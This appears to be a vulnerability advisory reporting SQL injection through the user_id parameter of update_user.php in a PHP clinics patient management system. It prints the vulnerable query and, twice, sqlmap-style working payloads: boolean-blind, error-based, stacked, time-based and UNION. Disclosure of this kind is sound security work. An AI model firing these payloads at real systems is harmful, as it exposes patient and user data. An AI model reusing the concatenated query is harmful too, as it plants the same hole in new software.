

SQL injection vulnerability exists in id parameter of update_user.php file of clinics patient management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
$user_id = $_GET['user_id'];  
  
$query = "SELECT `id`, `display_name`, `user_name` from `users`  
where `id` = $user_id";
```

```
Parameter: user_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: user_id=1 AND 6941=(SELECT (CASE WHEN (6941=6941) THEN 6941 ELSE (SELECT 3566 UNION SELECT 9483) END))--

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: user_id=1 AND GTID_SUBSET(CONCAT(0x7162627171,(SELECT (ELT(8867=8867,1))),0x716b626271),8867)

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: user_id=1;SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user_id=1 AND (SELECT 6696 FROM (SELECT(SLEEP(5)))VRDq)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: user_id=-8122 UNION ALL SELECT NULL,CONCAT(0x7162627171,0x4f4756e4c68676444704b75576d6e4b666b6c71684e7674445179666a7166676f5664484b4f4c4d,0x716b626271),NULL--
```

“

Parameter: user_id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: user_id=1 AND 6941=(SELECT (CASE WHEN (6941=6941) THEN 6941 ELSE (SELECT 3566 UNION SELECT 9483) END))-- -

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: user_id=1 AND GTID_SUBSET(CONCAT(0x7162627171,(SELECT (ELT(8867=8867,1))),0x716b626271),8867)

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: user_id=1;SELECT SLEEP(5)#

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: user_id=1 AND (SELECT 6696 FROM (SELECT(SLEEP(5)))VRDq)

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: user_id=-8122 UNION ALL SELECT
NULL,CONCAT(0x7162627171,0x4f4f756e4c68676444704b75576d6e4b666b6c71684e76744451
79666a7166676f5664484b4f4c4d,0x716b626271),NULL-- -

“

Source Download:

<https://www.sourcecodester.com/php-clinics-patient-management-system-source-code>